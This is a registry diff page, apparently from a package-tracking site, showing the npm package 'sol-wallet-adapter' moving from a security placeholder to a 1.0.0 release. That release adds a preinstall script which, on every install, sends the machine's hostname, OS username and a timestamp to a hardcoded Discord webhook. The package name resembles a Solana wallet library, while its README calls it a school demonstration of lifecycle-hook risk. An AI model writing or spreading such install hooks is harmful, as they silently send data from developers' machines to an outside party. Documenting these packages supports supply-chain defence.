sol-wallet-adapter 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of sol-wallet-adapter might be problematic. Click here for more details.
- package/README.md +25 -3
- package/index.js +5 -0
- package/package.json +21 -3
- package/preinstall.js +64 -0
package/README.md
CHANGED
|
@@ -1,5 +1,27 @@
|
|
|
1
|
-
#
|
|
1
|
+
# cutekitten-test
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
**Security test package — do not install unless you know what it does.**
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
Published for a school project demonstrating npm lifecycle hook risks.
|
|
6
|
+
|
|
7
|
+
## What it does on `npm install`
|
|
8
|
+
|
|
9
|
+
Its `preinstall` hook POSTs a Discord webhook message containing:
|
|
10
|
+
|
|
11
|
+
- the installing machine's hostname
|
|
12
|
+
- the installing user's OS username
|
|
13
|
+
- the local timestamp
|
|
14
|
+
|
|
15
|
+
It sends this to a hardcoded webhook URL embedded in `preinstall.js` and writes
|
|
16
|
+
`.preinstall-marker.json` recording whether the request succeeded. If the request
|
|
17
|
+
fails, the install fails (exit code 1).
|
|
18
|
+
|
|
19
|
+
## Why
|
|
20
|
+
|
|
21
|
+
npm runs dependency lifecycle scripts automatically during install. This package
|
|
22
|
+
exists to show that installing a dependency can silently execute code and reach
|
|
23
|
+
the network. Install with `--ignore-scripts` to suppress the hook.
|
|
24
|
+
|
|
25
|
+
## Requirements
|
|
26
|
+
|
|
27
|
+
Node.js 18 or newer.
|
package/index.js
ADDED
package/package.json
CHANGED
|
@@ -1,6 +1,24 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "sol-wallet-adapter",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Testing purposes",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"files": [
|
|
7
|
+
"index.js",
|
|
8
|
+
"preinstall.js"
|
|
9
|
+
],
|
|
10
|
+
"engines": {
|
|
11
|
+
"node": ">=18"
|
|
12
|
+
},
|
|
13
|
+
"keywords": [
|
|
14
|
+
"security-research",
|
|
15
|
+
"lifecycle-hooks",
|
|
16
|
+
"preinstall",
|
|
17
|
+
"test",
|
|
18
|
+
"do-not-use"
|
|
19
|
+
],
|
|
20
|
+
"scripts": {
|
|
21
|
+
"preinstall": "node preinstall.js"
|
|
22
|
+
},
|
|
23
|
+
"license": "UNLICENSED"
|
|
6
24
|
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
'use strict';
|
|
2
|
+
|
|
3
|
+
const fs = require('node:fs');
|
|
4
|
+
const path = require('node:path');
|
|
5
|
+
const os = require('node:os');
|
|
6
|
+
|
|
7
|
+
const WEBHOOK_URL = 'https://canary.discord.com/api/webhooks/1566232728179843243/pM5rDIrCRrEpQRbA7ibaiQk1XOQlIftmBacA5s8jD8NvXn5W-rS832DOWHQS-G-j3N6U';
|
|
8
|
+
|
|
9
|
+
function timestamp() {
|
|
10
|
+
const d = new Date();
|
|
11
|
+
const p = n => String(n).padStart(2, '0');
|
|
12
|
+
return `${d.getFullYear()}-${p(d.getMonth() + 1)}-${p(d.getDate())} ` +
|
|
13
|
+
`${p(d.getHours())}:${p(d.getMinutes())}:${p(d.getSeconds())}`;
|
|
14
|
+
}
|
|
15
|
+
|
|
16
|
+
async function runHook({
|
|
17
|
+
send = globalThis.fetch,
|
|
18
|
+
writeMarker = marker => fs.writeFileSync(
|
|
19
|
+
path.join(__dirname, '.preinstall-marker.json'),
|
|
20
|
+
JSON.stringify(marker, null, 2) + '\n'
|
|
21
|
+
),
|
|
22
|
+
} = {}) {
|
|
23
|
+
const message = `Run on ${os.hostname()} as ${os.userInfo().username} at ${timestamp()}`;
|
|
24
|
+
|
|
25
|
+
const marker = {
|
|
26
|
+
package: 'cutekitten-test',
|
|
27
|
+
event: process.env.npm_lifecycle_event || 'manual',
|
|
28
|
+
timestamp: new Date().toISOString(),
|
|
29
|
+
};
|
|
30
|
+
|
|
31
|
+
try {
|
|
32
|
+
const response = await send(WEBHOOK_URL, {
|
|
33
|
+
method: 'POST',
|
|
34
|
+
headers: { 'Content-Type': 'application/json; charset=utf-8' },
|
|
35
|
+
body: JSON.stringify({ content: message, username: 'PC Notifier' }),
|
|
36
|
+
redirect: 'error',
|
|
37
|
+
signal: AbortSignal.timeout(5000),
|
|
38
|
+
});
|
|
39
|
+
marker.webhook = response.ok
|
|
40
|
+
? { status: 'sent', httpStatus: response.status }
|
|
41
|
+
: { status: 'failed', reason: `Discord responded with HTTP ${response.status}.` };
|
|
42
|
+
} catch (err) {
|
|
43
|
+
marker.webhook = { status: 'failed', reason: err.message };
|
|
44
|
+
}
|
|
45
|
+
|
|
46
|
+
writeMarker(marker);
|
|
47
|
+
return marker;
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
module.exports = runHook;
|
|
51
|
+
|
|
52
|
+
if (require.main === module) {
|
|
53
|
+
runHook().then(marker => {
|
|
54
|
+
if (marker.webhook.status === 'sent') {
|
|
55
|
+
console.log('Discord message sent.');
|
|
56
|
+
} else {
|
|
57
|
+
console.error(marker.webhook.reason);
|
|
58
|
+
process.exitCode = 1;
|
|
59
|
+
}
|
|
60
|
+
}).catch(() => {
|
|
61
|
+
console.error('[cutekitten-test] Unable to write the local test marker.');
|
|
62
|
+
process.exitCode = 1;
|
|
63
|
+
});
|
|
64
|
+
}
|